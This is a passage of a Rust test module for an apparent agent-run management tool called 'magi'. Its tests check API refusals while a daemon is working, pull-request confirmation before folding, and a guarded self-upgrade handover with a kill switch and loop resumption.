13997 "an unreadable run has no candidate list to fold selectively, so \
13998 the whole record goes - same as `magi fold` on the CLI"
13999 );
14000 }
14001
14002 #[tokio::test]
14003 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14004 let fx = Fixture::start().await;
14005 let runs = fx.runs();
14006 let wt = fx.home.path().join("wt").join("magi").join("gone");
14007 let id = "20260901-000000-gone";
14008 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14009 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14010 std::fs::create_dir_all(&wt).expect("worktree dir");
14011
14012 let res = fx.delete(&format!("/api/runs/{id}")).await;
14013 assert_eq!(res.status, 204, "{}", res.body);
14014 assert!(!runs.join(id).exists(), "the broken record is gone");
14015 assert!(!wt.exists(), "its worktree is gone too");
14016 }
14017
14018 #[tokio::test]
14019 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14020 let fx = Fixture::start().await;
14021 let runs = fx.runs();
14022 let id = "20260901-000000-live";
14023 write_run(&runs, id, RunStatus::Implementing);
14024
14025 let mut beat = crate::daemon::Status::new();
14026 beat.current = vec![crate::daemon::Current {
14027 task: "20260901-000000-task".to_owned(),
14028 run: id.to_owned(),
14029 }];
14030 beat.updated_at = jiff::Timestamp::now();
14031 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14032 .expect("publish a heartbeat");
14033
14034 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14035 assert_eq!(res.status, 409);
14036 assert!(
14037 res.json()["error"]
14038 .as_str()
14039 .unwrap()
14040 .contains("live daemon"),
14041 "folding under a running agent would pull its worktree away"
14042 );
14043 }
14044
14045 #[tokio::test]
14046 async fn fold_merged_requires_a_pr_url() {
14047 let fx = Fixture::start().await;
14048 let runs = fx.runs();
14049 let id = "20260901-000000-nourl";
14050 write_run(&runs, id, RunStatus::Blocked);
14051
14052 let res = fx
14053 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14054 .await;
14055 assert_eq!(res.status, 400, "{}", res.body);
14056
14057 let blank = fx
14058 .post(
14059 &format!("/api/runs/{id}/fold-merged"),
14060 Some(r#"{"pr_url":" "}"#),
14061 )
14062 .await;
14063 assert_eq!(blank.status, 400, "{}", blank.body);
14064 }
14065
14066 #[tokio::test]
14067 async fn fold_merged_is_404_for_an_unknown_run() {
14068 let fx = Fixture::start().await;
14069 let res = fx
14070 .post(
14071 "/api/runs/nosuchrun/fold-merged",
14072 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14073 )
14074 .await;
14075 assert_eq!(res.status, 404, "{}", res.body);
14076 }
14077
14078 #[tokio::test]
14079 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14080 let fx = Fixture::start().await;
14081 let runs = fx.runs();
14082 let id = "20260901-000000-livemerge";
14083 write_run(&runs, id, RunStatus::Blocked);
14084
14085 let mut beat = crate::daemon::Status::new();
14086 beat.current = vec![crate::daemon::Current {
14087 task: "20260901-000000-task".to_owned(),
14088 run: id.to_owned(),
14089 }];
14090 beat.updated_at = jiff::Timestamp::now();
14091 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14092 .expect("publish a heartbeat");
14093
14094 let res = fx
14095 .post(
14096 &format!("/api/runs/{id}/fold-merged"),
14097 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14098 )
14099 .await;
14100 assert_eq!(res.status, 409, "{}", res.body);
14101 assert!(
14102 res.json()["error"]
14103 .as_str()
14104 .unwrap()
14105 .contains("live daemon"),
14106 "correcting a run's merge underneath a running agent would race \
14107 whatever it is doing to the same `status`/`merge` fields"
14108 );
14109 }
14110
14111 #[tokio::test]
14116 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14117 let fx = Fixture::start().await;
14118 let runs = fx.runs();
14119 let id = "20260901-000000-unconfirmed";
14120 write_run(&runs, id, RunStatus::Blocked);
14121
14122 let res = fx
14123 .post(
14124 &format!("/api/runs/{id}/fold-merged"),
14125 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14126 )
14127 .await;
14128 assert_eq!(res.status, 400, "{}", res.body);
14129 assert_eq!(
14130 read_run(&runs, id).unwrap().status,
14131 RunStatus::Blocked,
14132 "a pull request that could not be confirmed merged must leave \
14133 the run exactly where it was"
14134 );
14135 }
14136
14137 #[tokio::test]
14138 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14139 let fx = Fixture::start().await;
14140 let runs = fx.runs();
14141
14142 for (status, word) in [
14148 (RunStatus::Merged, "merged"),
14149 (RunStatus::Ready, "ready"),
14150 (RunStatus::Failed, "failed"),
14151 ] {
14152 let id = format!("20260901-000000-{}", &word[..4]);
14153 write_run(&runs, &id, status);
14154 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14155 assert_eq!(res.status, 409, "{word} must not be resumable");
14156 let err = res.json()["error"].as_str().unwrap().to_owned();
14157 assert!(err.contains(word), "the refusal names the status: {err}");
14158 }
14159
14160 let mid = "20260901-000000-midf";
14165 write_run(&runs, mid, RunStatus::Reviewing);
14166 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14167 assert_eq!(res.status, 202, "an interrupted run is resumable");
14168 }
14169
14170 #[tokio::test]
14171 async fn resume_is_refused_while_the_loop_is_running() {
14172 let fx = Fixture::start().await;
14173 let runs = fx.runs();
14174 let stalled = "20260901-000000-stal";
14175 write_run(&runs, stalled, RunStatus::Stalled);
14176
14177 let mut beat = crate::daemon::Status::new();
14181 beat.current = vec![crate::daemon::Current {
14182 task: "20260901-000000-task".to_owned(),
14183 run: "20260901-000000-othr".to_owned(),
14184 }];
14185 beat.updated_at = jiff::Timestamp::now();
14186 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14187 .expect("publish a heartbeat");
14188
14189 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14190 assert_eq!(res.status, 409);
14191 let err = res.json()["error"].as_str().unwrap().to_owned();
14192 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14193 assert!(err.contains("stop it first"), "{err}");
14194 }
14195
14196 #[test]
14197 fn a_run_cannot_be_resumed_twice_at_once() {
14198 let home = TempDir::new().expect("temp home");
14199 let ui = Ui::new(
14200 Queue::at(home.path().join("queue")),
14201 Questions::at(home.path().join("questions")),
14202 Talks::at(home.path().join("talks")),
14203 home.path().join("runs"),
14204 home.path().to_path_buf(),
14205 PathBuf::from("/repo"),
14206 )
14207 .with_worktrees_root(home.path().join("wt"));
14208 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14209 let again = ui.begin_resume("20260901-000000-once");
14210 assert!(again.is_err(), "a second tap must not start a second graph");
14211 drop(first);
14212 assert!(
14213 ui.begin_resume("20260901-000000-once").is_ok(),
14214 "and the claim is released when the attempt ends"
14215 );
14216 }
14217
14218 #[test]
14219 fn talk_thinking_tracks_only_its_held_turn_claim() {
14220 let home = TempDir::new().expect("temp home");
14221 let ui = Ui::new(
14222 Queue::at(home.path().join("queue")),
14223 Questions::at(home.path().join("questions")),
14224 Talks::at(home.path().join("talks")),
14225 home.path().join("runs"),
14226 home.path().to_path_buf(),
14227 PathBuf::from("/repo"),
14228 )
14229 .with_worktrees_root(home.path().join("wt"));
14230 let id = "20260901-000000-once";
14231
14232 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14233 let turn = ui.begin_talk_turn(id).expect("claim turn");
14234 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14235 assert!(
14236 !ui.is_thinking("20260901-000000-other"),
14237 "one talk's turn does not make another talk busy"
14238 );
14239 drop(turn);
14240 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14241 }
14242
14243 #[test]
14244 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14245 let home = TempDir::new().expect("temp home");
14246 let talks = Talks::at(home.path().join("talks"));
14247 let ui = Ui::new(
14248 Queue::at(home.path().join("queue")),
14249 Questions::at(home.path().join("questions")),
14250 talks.clone(),
14251 home.path().join("runs"),
14252 home.path().to_path_buf(),
14253 PathBuf::from("/repo"),
14254 )
14255 .with_worktrees_root(home.path().join("wt"));
14256 let id = "20260901-000000-cross";
14257
14258 let other = Talks::at(home.path().join("talks"))
14259 .claim_turn(id)
14260 .expect("claim")
14261 .expect("the other process wins");
14262 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14263 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14264 assert!(
14265 matches!(
14266 ui.begin_talk_turn_unless_pending(id).expect("start"),
14267 TalkTurnStart::Foreign
14268 ),
14269 "a foreign holder is refused, not queued behind"
14270 );
14271 assert!(
14272 !ui.talk_turns.lock().unwrap().live.contains(id),
14273 "a refused claim leaves no in-process entry behind"
14274 );
14275 drop(other);
14276 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14277 assert!(talks.turn_held(id), "the web turn holds the lease");
14278 drop(turn);
14279 assert!(
14280 !talks.turn_held(id),
14281 "dropping the guard releases the lease"
14282 );
14283 }
14284
14285 #[test]
14286 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14287 let home = TempDir::new().expect("temp home");
14288 let talks = Talks::at(home.path().join("talks"));
14289 let ui = Ui::new(
14290 Queue::at(home.path().join("queue")),
14291 Questions::at(home.path().join("questions")),
14292 talks.clone(),
14293 home.path().join("runs"),
14294 home.path().to_path_buf(),
14295 PathBuf::from("/repo"),
14296 )
14297 .with_worktrees_root(home.path().join("wt"));
14298 let id = "20260901-000000-order";
14299 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14300 let slots = ui.talk_turns.lock().unwrap();
14302 let dropper = std::thread::spawn(move || drop(turn));
14303 let start = std::time::Instant::now();
14304 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14305 std::thread::sleep(Duration::from_millis(5));
14306 }
14307 assert!(!talks.turn_held(id), "the lease is released first");
14308 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14309 drop(slots);
14310 dropper.join().expect("join");
14311 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14312 }
14313
14314 #[tokio::test]
14315 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14316 let fx = Fixture::start().await;
14317 let mut beat = crate::daemon::Status::new();
14321 beat.pid = 4321;
14322 beat.updated_at = jiff::Timestamp::now();
14323 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14324 .expect("publish a heartbeat");
14325
14326 let res = fx.post("/api/upgrade", None).await;
14327 assert_eq!(res.status, 409);
14328 let err = res.json()["error"].as_str().unwrap().to_owned();
14329 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14330 assert!(err.contains("old one against the same queue"), "{err}");
14331 }
14332
14333 #[test]
14340 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14341 assert!(!should_spawn_recheck(&crate::config::Update {
14342 mode: UpdateMode::Off,
14343 interval: None,
14344 }));
14345
14346 unsafe {
14349 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14350 }
14351 let killed = should_spawn_recheck(&crate::config::Update {
14352 mode: UpdateMode::Notify,
14353 interval: None,
14354 });
14355 unsafe {
14356 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14357 }
14358 assert!(
14359 !killed,
14360 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14361 one-time startup check"
14362 );
14363
14364 assert!(should_spawn_recheck(&crate::config::Update {
14365 mode: UpdateMode::Notify,
14366 interval: None,
14367 }));
14368 }
14369
14370 #[test]
14376 fn recheck_poll_period_tracks_a_short_configured_interval() {
14377 let short = crate::config::Update {
14378 mode: UpdateMode::Notify,
14379 interval: Some("1m".to_owned()),
14380 };
14381 let period = recheck_poll_period(&short);
14382 assert!(
14383 period <= Duration::from_secs(30),
14384 "a one-minute interval must wake the task far sooner than the \
14385 default ceiling, or the deck would not notice within the \
14386 interval the operator configured: got {period:?}"
14387 );
14388
14389 let default = crate::config::Update {
14390 mode: UpdateMode::Notify,
14391 interval: None,
14392 };
14393 assert_eq!(
14394 recheck_poll_period(&default),
14395 UPDATE_RECHECK_POLL_MAX,
14396 "the default day-long interval should poll at the (capped) \
14397 ceiling rather than needlessly often"
14398 );
14399 }
14400
14401 #[test]
14409 fn recheck_skips_the_network_before_the_interval_elapses() {
14410 let dir = TempDir::new().expect("temp dir");
14411 let path = dir.path().join("state.json");
14412 let state = kaishin::UpdateCheckState {
14413 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14414 last_known_latest: None,
14415 last_known_url: None,
14416 };
14417 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14418
14419 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14420 assert!(
14421 !update_recheck_due(&checker, None),
14422 "a check made moments ago must not be repeated before the \
14423 configured interval elapses"
14424 );
14425 }
14426
14427 #[test]
14433 fn recheck_defers_to_an_upgrade_already_in_flight() {
14434 let dir = TempDir::new().expect("temp dir");
14435 let path = dir.path().join("state.json");
14436 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14437 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14438
14439 assert!(
14440 !update_recheck_due(&checker, Some(&progress)),
14441 "a recheck must not run while an upgrade this deck started is \
14442 still moving"
14443 );
14444 }
14445
14446 #[tokio::test]
14447 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14448 unsafe {
14460 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14461 }
14462 let fx = Fixture::start().await;
14463 let res = fx.post("/api/upgrade", None).await;
14464 unsafe {
14465 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14466 }
14467 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14468 let body = res.json();
14469 assert!(body["to"].is_null(), "there was no release to move to");
14470 assert!(body["parked"].is_null(), "and nothing was parked");
14471 assert!(
14472 body["detail"]
14473 .as_str()
14474 .unwrap()
14475 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14476 "{body:?}"
14477 );
14478 }
14479
14480 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14481 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14482 p.stage = stage;
14483 p
14484 }
14485
14486 #[test]
14487 fn busy_stages_match_the_ui_set() {
14488 use crate::updater::Stage;
14489 assert!(APP_JS.contains(
14490 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14491 ));
14492 for s in [
14493 Stage::Downloading,
14494 Stage::Replaced,
14495 Stage::Parking,
14496 Stage::Restarting,
14497 ] {
14498 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14499 }
14500 for s in [Stage::Done, Stage::Failed] {
14501 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14502 }
14503 assert!(upgrade_in_motion(None).is_none());
14504 }
14505
14506 #[tokio::test]
14507 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14508 use crate::updater::Stage;
14509 for stage in [
14510 Stage::Downloading,
14511 Stage::Replaced,
14512 Stage::Parking,
14513 Stage::Restarting,
14514 ] {
14515 let fx = Fixture::start().await;
14516 let seeded = seeded_progress(stage);
14517 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14518 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14519 .expect("read");
14520
14521 let res = fx.post("/api/upgrade", None).await;
14522 assert_eq!(res.status, 409, "{stage:?}");
14523 let err = res.json()["error"].as_str().unwrap().to_owned();
14524 assert!(err.contains("already in progress"), "{err}");
14525 assert!(err.contains(stage.as_str()), "{err}");
14526
14527 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14528 .expect("read");
14529 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14530 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14531 .unwrap_or_default();
14532 assert!(!log.contains("signalling HANDOVER"), "{log}");
14533 }
14534 }
14535
14536 #[tokio::test]
14537 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14538 use crate::updater::Stage;
14539 let repo = TempDir::new().expect("repo dir");
14540 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14541 .expect("write magi.toml");
14542 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14543 for stage in [Stage::Done, Stage::Failed] {
14544 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14545 let res = fx.post("/api/upgrade", None).await;
14546 assert_eq!(res.status, 200, "{stage:?}");
14547 }
14548 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14550 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14551 }
14552
14553 #[tokio::test]
14554 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14555 let repo = TempDir::new().expect("repo dir");
14571 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14572 .expect("write magi.toml");
14573 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14574
14575 let res = fx.post("/api/upgrade", None).await;
14581 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14582 let body = res.json();
14583 assert!(body["to"].is_null(), "there was no release to move to");
14584 assert!(body["parked"].is_null(), "and nothing was parked");
14585 assert!(
14586 body["detail"]
14587 .as_str()
14588 .unwrap()
14589 .contains("nothing restarted"),
14590 "{body:?}"
14591 );
14592 }
14593
14594 #[tokio::test]
14595 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14596 let repo = TempDir::new().expect("repo dir");
14601 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14602 .expect("write magi.toml");
14603 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14604
14605 let health = fx.get("/api/health").await.json();
14606 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14607 assert_eq!(
14608 health["update"]["available"], false,
14609 "checking is off, which reads as \"unknown\", not \"none\""
14610 );
14611 assert!(health["update"]["to"].is_null());
14612 assert!(
14613 health["upgrade"].is_null(),
14614 "nothing has ever asked this deck to upgrade"
14615 );
14616 }
14617
14618 #[tokio::test]
14619 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14620 let fx = Fixture::start().await;
14621 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14622
14623 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14624 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14625 progress.advance(crate::updater::Stage::Parking);
14626 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14627
14628 let health = fx.get("/api/health").await.json();
14629 assert_eq!(health["upgrade"]["stage"], "parking");
14630 assert_eq!(health["upgrade"]["from"], "0.5.1");
14631 assert_eq!(health["upgrade"]["to"], "0.5.2");
14632 let waiting_on = health["upgrade"]["waiting_on"]
14633 .as_str()
14634 .expect("waiting_on is set while parking a known run");
14635 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14636 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14637 }
14638
14639 #[tokio::test]
14640 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14641 let fx = Fixture::start().await;
14642 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14643 progress.advance(crate::updater::Stage::Done);
14644 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14645
14646 let health = fx.get("/api/health").await.json();
14647 assert_eq!(health["upgrade"]["stage"], "done");
14648 assert!(
14649 health["upgrade"]["waiting_on"].is_null(),
14650 "nothing to wait on once it is done"
14651 );
14652 }
14653
14654 #[tokio::test]
14655 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14656 let home = TempDir::new().expect("temp home");
14657 let runs = home.path().join("runs");
14658 std::fs::create_dir_all(&runs).expect("runs dir");
14659 let ui = Ui::new(
14660 Queue::at(home.path().join("queue")),
14661 Questions::at(home.path().join("questions")),
14662 Talks::at(home.path().join("talks")),
14663 runs,
14664 home.path().to_path_buf(),
14665 PathBuf::from("/repo/magi"),
14666 )
14667 .with_launch(launch_idle);
14668 let looping = ui.looping();
14669 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14670 .await
14671 .expect("bind loopback");
14672 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14673
14674 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14675 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14676
14677 hand_over(home.path(), &looping, served, |_| Ok(1))
14678 .await
14679 .expect("hand over");
14680
14681 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14682 assert_eq!(
14683 after.stage,
14684 crate::updater::Stage::Restarting,
14685 "hand_over owns the record through parking and up to restarting; \
14686 the successor is what finishes it"
14687 );
14688 }
14689
14690 #[tokio::test]
14693 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14694 for fail in [false, true] {
14695 let home = TempDir::new().expect("temp home");
14696 let ui = idle_ui(&home);
14697 let looping = ui.looping();
14698 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14699 .await
14700 .expect("bind loopback");
14701 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14702 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14703 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14704
14705 let calls = std::sync::atomic::AtomicUsize::new(0);
14706 let outcome = hand_over(home.path(), &looping, served, |_| {
14707 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14708 if fail {
14709 anyhow::bail!("no exec")
14710 } else {
14711 Ok(4242)
14712 }
14713 })
14714 .await;
14715 assert_eq!(outcome.is_err(), fail);
14716 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14717
14718 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14719 .expect("upgrade.log is written under the home");
14720 for step in [
14721 "entered",
14722 "finish_loop",
14723 "listener released",
14724 "starting the successor",
14725 ] {
14726 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14727 }
14728 assert!(
14729 log.contains(if fail { "did not start" } else { "pid 4242" }),
14730 "{log}"
14731 );
14732 }
14733 }
14734
14735 #[tokio::test]
14738 async fn the_handover_signal_wakes_one_waiter_once() {
14739 let signal = Notify::new();
14740 signal.notify_one();
14742 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14743 .await
14744 .expect("an early signal is still seen");
14745 assert!(
14747 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14748 .await
14749 .is_err(),
14750 "a consumed signal must not wake a second time"
14751 );
14752 let signal = std::sync::Arc::new(signal);
14754 let waiter = tokio::spawn({
14755 let signal = std::sync::Arc::clone(&signal);
14756 async move { wait_for_handover(&signal).await }
14757 });
14758 tokio::time::sleep(Duration::from_millis(20)).await;
14759 assert!(!waiter.is_finished(), "nothing was signalled yet");
14760 signal.notify_one();
14761 tokio::time::timeout(Duration::from_secs(5), waiter)
14762 .await
14763 .expect("a late signal wakes the waiter")
14764 .expect("join");
14765 }
14766
14767 #[tokio::test]
14768 async fn health_says_how_long_a_handover_has_been_stuck() {
14769 let fx = Fixture::start().await;
14770 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14771 progress.advance(crate::updater::Stage::Replaced);
14772 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14773 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14774
14775 let health = fx.get("/api/health").await.json();
14776 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14777 assert!(stuck >= 600, "{stuck}");
14778 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
14779 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14780 }
14781
14782 #[tokio::test]
14783 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
14784 let home = tempfile::tempdir().expect("temp home");
14785 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14786 progress.advance(crate::updater::Stage::Parking);
14787 crate::updater::write_progress(home.path(), &progress).expect("seed");
14788 let mut again = progress.clone();
14790 again.advance(crate::updater::Stage::Replaced);
14791 crate::updater::write_progress(home.path(), &again).expect("replaced");
14792 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14793 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
14794 let after = crate::updater::read_progress(home.path()).expect("record");
14795 assert_eq!(after.stage, crate::updater::Stage::Parking);
14796 }
14797
14798 #[tokio::test]
14799 async fn health_does_not_call_a_live_parking_wait_stuck() {
14800 let fx = Fixture::start().await;
14801 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14802 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14803 progress.advance(crate::updater::Stage::Parking);
14804 let hours = Duration::from_secs(3 * 3600);
14805 progress.started_at = Timestamp::now() - hours;
14806 progress.updated_at = Timestamp::now() - hours;
14807 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14808 let _lease = crate::updater::LeaseGuard::enter(
14809 fx.home.path(),
14810 Some("20260905-000000-cd51".to_owned()),
14811 );
14812
14813 let health = fx.get("/api/health").await.json();
14814 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
14815 assert!(health["upgrade"]["stuck_kind"].is_null());
14816 assert_eq!(health["upgrade"]["handover_alive"], true);
14817 let waiting_on = health["upgrade"]["waiting_on"]
14818 .as_str()
14819 .expect("waiting_on");
14820 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14821 }
14822
14823 fn idle_ui(home: &TempDir) -> Ui {
14824 let runs = home.path().join("runs");
14825 std::fs::create_dir_all(&runs).expect("runs dir");
14826 Ui::new(
14827 Queue::at(home.path().join("queue")),
14828 Questions::at(home.path().join("questions")),
14829 Talks::at(home.path().join("talks")),
14830 runs,
14831 home.path().to_path_buf(),
14832 PathBuf::from("/repo/magi"),
14833 )
14834 .with_launch(launch_idle)
14835 }
14836
14837 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14839 let looping = ui.looping();
14840 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14841 .await
14842 .expect("bind loopback");
14843 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14844 let told = std::sync::Mutex::new(None);
14845 hand_over(home.path(), &looping, served, |resume| {
14846 *told.lock().unwrap() = Some(resume);
14847 Ok(1)
14848 })
14849 .await
14850 .expect("hand over");
14851 told.into_inner().unwrap().expect("successor was started")
14852 }
14853
14854 #[tokio::test]
14855 async fn a_running_loop_is_resumed_by_the_successor() {
14856 let home = TempDir::new().expect("temp home");
14857 let ui = idle_ui(&home);
14858 ui.start_loop(None).expect("start");
14859 ui.park_for_upgrade().expect("park");
14860 for _ in 0..500 {
14862 if !ui.loop_view(None).running {
14863 break;
14864 }
14865 tokio::time::sleep(Duration::from_millis(2)).await;
14866 }
14867 assert!(handed_over(&home, ui).await, "a running loop must resume");
14868
14869 let successor = idle_ui(&home);
14870 assert!(!successor.loop_view(None).running);
14871 assert!(successor.resume_after_handover(true));
14872 assert!(successor.loop_view(None).running);
14873 successor.stop_loop(None, false).expect("stop");
14874 }
14875
14876 #[tokio::test]
14877 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14878 let home = TempDir::new().expect("temp home");
14879 let ui = idle_ui(&home);
14880 ui.start_loop(None).expect("start");
14881 ui.park_for_upgrade().expect("first park");
14882 ui.park_for_upgrade().expect("second park");
14883 assert!(handed_over(&home, ui).await);
14884 }
14885
14886 #[tokio::test]
14887 async fn a_stop_during_the_handover_wait_is_honoured() {
14888 let home = TempDir::new().expect("temp home");
14889 let ui = idle_ui(&home);
14890 ui.start_loop(None).expect("start");
14891 ui.park_for_upgrade().expect("park");
14892 ui.stop_loop(None, false).expect("stop");
14893 assert!(!handed_over(&home, ui).await);
14894 }
14895
14896 #[tokio::test]
14897 async fn an_idle_loop_stays_stopped_across_the_handover() {
14898 let home = TempDir::new().expect("temp home");
14899 let ui = idle_ui(&home);
14900 ui.park_for_upgrade().expect("park");
14901 assert!(!handed_over(&home, ui).await);
14902
14903 let successor = idle_ui(&home);
14904 assert!(!successor.resume_after_handover(false));
14905 assert!(!successor.loop_view(None).running);
14906 }
14907
14908 #[tokio::test]
14909 async fn a_loop_the_operator_stopped_is_not_resumed() {
14910 let home = TempDir::new().expect("temp home");
14911 let ui = idle_ui(&home);
14912 ui.start_loop(None).expect("start");
14913 ui.stop_loop(None, false).expect("stop");
14914 ui.park_for_upgrade().expect("park");
14915 assert!(!handed_over(&home, ui).await);
14916 }
14917
14918 #[test]
14919 fn only_an_explicit_one_requests_a_resume() {
14920 assert!(!resume_requested(None));
14921 assert!(!resume_requested(Some("0".into())));
14922 assert!(!resume_requested(Some("".into())));
14923 assert!(resume_requested(Some("1".into())));
14924 }
14925
14926 #[test]
14927 fn the_upgrade_button_arms_before_it_restarts_anything() {
14928 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14931 assert!(APP_JS.contains("Replace the binary and restart?"));
14932 assert!(APP_JS.contains("function confirmed("));
14933 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14938 assert!(
14942 APP_JS.contains("Parking, then restarting"),
14943 "the button says what it is waiting for"
14944 );
14945 assert!(APP_JS.contains("if (!out.to)"));
14948 }
14949
14950 #[test]
